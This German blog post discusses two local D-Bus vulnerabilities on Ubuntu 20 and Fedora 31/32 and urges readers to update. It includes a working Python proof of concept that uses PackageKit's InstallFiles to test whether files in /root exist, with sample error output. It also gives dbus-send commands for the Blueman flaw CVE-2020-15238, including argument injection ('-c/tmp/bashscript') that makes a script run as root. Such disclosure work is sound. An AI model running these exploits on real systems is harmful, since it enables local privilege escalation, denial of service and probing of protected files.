Da weiß man gar nicht, wie man anfangen soll, aber .. am Anfang war … D-BUS 🙂 Im neuen Ubuntu 20 … UPDATE: FEDORA 31 & 32 AUCH BETROFFEN … wurden einige Sicherheitslücken gefunden, mit denen sich u.A. Dateien von Root finden lassen, auf die der Angreifer so gar nicht zugreifen könnte. Ob sich das nur auf Ubuntu bezieht, wird man sehen müssen.
D-BUS: Schwachstellen mit Blueman und PackageKit
Eine Information Disclosure Schwachstelle gibt es im Umgang mit D-BUS und PackageKit, so daß man als normaler angemeldeter Benutzer die Existenz von Dateien prüfen kann, die eigentlich nur Root überhaupt sehen könnte, bspw. alles was im /root/ Directory drin ist:
import dbus bus = dbus.SystemBus() apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit") apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit") trans = apt_dbus_interface.CreateTransaction() apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans) apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction") apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])
Möglich macht das eine mangelnde Prüfung, ob der User überhaupt autorisiert ist, diese Anfrage stellen zu dürfen.Es stellt sich raus, Fedora 31 und 32 sind auch von der Schwachstelle betroffen und so sieht das dann aus:
$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.MimeTypeNotSupported: MIME type ‚text/plain‘ not supported /root/.bashrc
Das ist die Antwort für eine Datei, die vorhanden ist. Nachfolgend der gleiche Ablauf für eine Datei, die nicht vorhanden ist:
$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc333“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.NoSuchFile: No such file /root/.bashrc333
Beurteilung:
- – Man muß auf dem System als Benutzer angemeldet sein.
- – Man muß sich mühseelig jede Datei einzeln vornehmen, was sich etwas automatisieren läßt, also schon wissen, was man sucht.
– Man kann nicht auf den Inhalt schliessen. - – Es läßt sich so aber einfach feststellen, ob bestimmte Software installiert ist.
Ich halte die Lücke für nicht ganz so gravierend, man sollte sie aber schliessen. Bugreport an Fedora ist raus.
Blueman Local Privilege Escalation or Denial of Service (CVE-2020-15238)
Die Blueman Lücke ist deutlich schlimmer, da man darüber Befehle ausführen kann. Das läßt sich zudem trivial ausnutzen:
dbus-send --print-reply --system \
--dest=org.blueman.Mechanism \
/org/blueman/mechanism \
org.blueman.Mechanism.DhcpClient \
string:"ens33 down"
ens33 ist das Netzwerkinterface. Funktionieren tut das aber nur dann, wenn auch der dhcpcd installiert ist, was nicht zwangsweise so sein muß. Der Fedora Default ist der dh_client, der so scharf kontrolliert, was man ihm da über den D-BUS übergibt, daß man diese Lücke nur für einen DOS, aber nicht für die Local Privilege Escalation Attacke ausnutzen kann. Die würde so funktionieren:
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/bashscript"
Also vorher ein Script anlegen, daß root dann ausführen darf => GGS .. Ganz Große Scheiße!
Wenn Ihr also Blueman und Ubuntu 20 benutzt, dann sorgt doch mal für ein paar Updates auf Eurem System 😉